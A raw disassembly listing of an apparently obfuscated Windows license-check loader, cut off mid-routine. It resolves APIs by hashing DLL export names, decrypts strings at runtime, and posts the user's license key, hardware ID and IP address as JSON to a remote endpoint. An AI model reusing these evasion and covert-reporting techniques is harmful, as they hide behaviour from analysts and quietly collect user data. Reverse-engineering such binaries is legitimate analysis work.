mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140017b06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140017b06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140017b01
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140017ae0
cmp r8d, 0x491e0a9c
je 0x140017b0b
test r9d, r9d
jne 0x140017ac0
mov rax, qword [rax]
jmp 0x140017a90
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp byte [rsi + 3], 0
je 0x140017c05
cmp r12d, 2
jl 0x140017bbf
movdqa xmm3, xmmword [0x1400869c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140086cd0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140086cd0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400869e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140086ad0]
movd xmm0, dword [rsi]
xorps xmm2, xmm0
movd dword [rsi], xmm2
jmp 0x140017c05
mov r9, rsi
mov r8d, r15d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140017bd0
mov rcx, rsi
call r11
lea rcx, [rbp + 0x690]
call fcn.1400059d0
lea rdx, [rbp + 0x528]
lea rcx, [rsp + 0x30]
call fcn.140004f10
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140017cb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140017cb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140017cb1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140017c90
cmp r8d, 0xe76fb4aa
je 0x140017cbb
test r9d, r9d
jne 0x140017c70
mov rcx, qword [rcx]
jmp 0x140017c40
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp byte [rsi + 0x14], 0
je 0x140017e75
mov r8d, r15d
cmp r12d, 2
jl 0x140017e2c
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rsi
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140017d21
cmp r8d, 0x15
jge 0x140017e75
movsxd r9, r8d
add r9, rsi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140017e40
mov rcx, rsi
call r11
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x480]
lea rcx, [rsp + 0x30]
call fcn.140004f40
mov r9, rax
cmp byte [rax + 0x11], 0
je 0x140018035
cmp r12d, 2
jl 0x140017fee
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, r15d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r15 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r15d, 8
mov eax, r15d
lea rcx, [rcx + 8]
cmp r15d, 0x10
jl 0x140017ee1
cmp eax, 0x12
jge 0x140018035
movsxd r8, r15d
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r15d
add edx, r15d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r15b
xor byte [r8], cl
inc r15d
lea r8, [r8 + 1]
cmp r15d, 0x12
jl 0x140018000
mov rdx, r9
mov rcx, r10
call fcn.1400019c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400180d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400180d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400180d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400180b0
cmp r8d, 0x2fa62ca8
je 0x1400180db
test r9d, r9d
jne 0x140018090
mov rax, qword [rax]
jmp 0x140018060
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x5dc
call rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 0x108
lea rcx, [rbp + 0x8a0]
call fcn.140006600
mov edx, 1
lea rcx, [rbp + 0x8a0]
call fcn.140003120
nop
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, str.key.txt
lea rcx, [rbp + 0x8a0]
call fcn.14000bd80
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0x8a0]
call fcn.1400019a0
lea rcx, [rbp + 0x8a0]
call fcn.140009350
nop
lea rcx, [rbp + 0x8a0]
call fcn.140005510
nop
lea rcx, [rbp + 0x7c0]
call fcn.140003fc0
lea rcx, [0x1400baa00]
call fcn.140026830
lea r8, [0x1400bab40]
lea rdx, str.__User_logged_in__License:
lea rcx, [rbp + 0x210]
call fcn.140001d40
nop
lea r8, str.__HWID:
mov rdx, rax
lea rcx, [rbp + 0x230]
call fcn.140001cd0
nop
lea r8, [0x1400bab80]
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140001c60
nop
lea r8, str.__IP:
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140001cd0
nop
lea r8, [0x1400bab60]
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.140001c60
nop
lea r8, str.__Status_Validation:
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.140001cd0
nop
lea r8, [0x1400bac18]
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140001c60
nop
lea r8, [0x140086888]
mov rdx, rax
lea rcx, [rbp + 0x820]
call fcn.140001cd0
nop
lea rcx, [rbp + 0x290]
call fcn.140003fc0
nop
lea rcx, [rbp + 0x270]
call fcn.140003fc0
nop
lea rcx, [rbp + 0x2d0]
call fcn.140003fc0
nop
lea rcx, [rbp + 0x2b0]
call fcn.140003fc0
nop
lea rcx, [rbp + 0x250]
call fcn.140003fc0
nop
lea rcx, [rbp + 0x230]
call fcn.140003fc0
nop
lea rcx, [rbp + 0x210]
call fcn.140003fc0
lea r8, [rbp + 0x820]
lea rdx, str._content_:
lea rcx, [rbp + 0x350]
call fcn.140001d40
nop
lea r8, str.__embeds_:_null
mov rdx, rax
lea rcx, [rbp + 0x840]
call fcn.140001cd0
nop
lea rcx, [rbp + 0x350]
call fcn.140003fc0
lea rax, [rbp + 0x370]
mov qword [rbp - 0x80], rax
lea rdx, str.application_json
lea rcx, [rbp + 0x370]
call fcn.1400032d0
mov rsi, rax
lea rax, [rbp + 0x390]
mov qword [rbp + 0x158], rax
lea rdx, [rbp + 0x840]
lea rcx, [rbp + 0x390]
call fcn.1400031f0
mov rdi, rax
lea rax, [rbp + 0x3b0]
mov qword [rbp + 0x160], rax
lea rdx, [0x140085f71]
lea rcx, [rbp + 0x3b0]
call fcn.1400032d0
mov rbx, rax
lea rdx, [0x14008691c]
lea rcx, [rbp + 0x3d0]
call fcn.1400032d0
nop
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
lea rdx, [rbp + 0x3f0]
lea rcx, [0x1400baa00]
call fcn.1400310c0
lea rcx, [rbp + 0x3f0]
call fcn.140003fc0
cmp byte [0x1400bac10], 0
jne 0x140018946
lea rcx, [rbp + 0x690]
call fcn.1400059d0
lea rdx, [rbp + 0x540]
lea rcx, [rsp + 0x30]
call fcn.140004f60
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140018446
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140018446
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140018441
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140018420
cmp r8d, 0xe76fb4aa
je 0x14001844b
test r9d, r9d
jne 0x140018400
mov rcx, qword [rcx]
jmp 0x1400183d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp byte [rsi + 0x14], 0
je 0x140018605
mov r8d, r15d
cmp r12d, 2
jl 0x1400185bc
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rsi
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400184b1
cmp r8d, 0x15
jge 0x140018605
movsxd r9, r8d
add r9, rsi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400185d0
mov rcx, rsi
call r11
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x468]
lea rcx, [rsp + 0x30]
call fcn.140004f90
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x1400187d5
mov r8d, r15d
cmp r12d, 2
jl 0x14001878b
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140018680
cmp r8d, 0x12
jge 0x1400187d5
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400187a0
mov rdx, r10
mov rcx, r11
call fcn.1400019c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140018876
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140018876
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140018871
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140018850
cmp r8d, 0x2fa62ca8
je 0x14001887b
test r9d, r9d
jne 0x140018830
mov rax, qword [rax]
jmp 0x140018800
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x5dc
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140018926
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140018926
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140018921
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140018900
cmp r8d, 0xcded1a85
je 0x14001892b
test r9d, r9d
jne 0x1400188e0
mov rax, qword [rax]
jmp 0x1400188b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400189d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400189d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400189d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400189b0
cmp r8d, 0x2fa62ca8
je 0x1400189db
test r9d, r9d
jne 0x140018990
mov rax, qword [rax]
jmp 0x140018960
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x7d0
call rdx
lea rcx, [0x1400baa00]
call fcn.140026830
lea rdx, [rbp + 0x7c]
lea rcx, [rsp + 0x30]
call fcn.140004fb0
mov rsi, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140018aa6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140018aa6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140018aa1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140018a80
cmp r8d, 0x491e0a9c
je 0x140018aab
test r9d, r9d
jne 0x140018a60
mov rax, qword [rax]
jmp 0x140018a30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp byte [rsi + 3], 0
je 0x140018ba5
cmp r12d, 2
jl 0x140018b5f
movdqa xmm3, xmmword [0x1400869c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140086cd0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140086cd0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400869e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140086ad0]
movd xmm0, dword [rsi]
xorps xmm2, xmm0
movd dword [rsi], xmm2
jmp 0x140018ba5
mov r9, rsi
mov r8d, r15d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140018b70
mov rcx, rsi
call r11
lea rdx, [rbp + 0x558]
lea rcx, [rsp + 0x30]
call fcn.140004fc0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140018c46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140018c46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140018c41
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140018c20
cmp r8d, 0xe76fb4aa
je 0x140018c4b
test r9d, r9d
jne 0x140018c00
mov rcx, qword [rcx]
jmp 0x140018bd0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp byte [rsi + 0x14], 0
je 0x140018e05
mov r8d, r15d
cmp r12d, 2
jl 0x140018dbc
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rsi
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
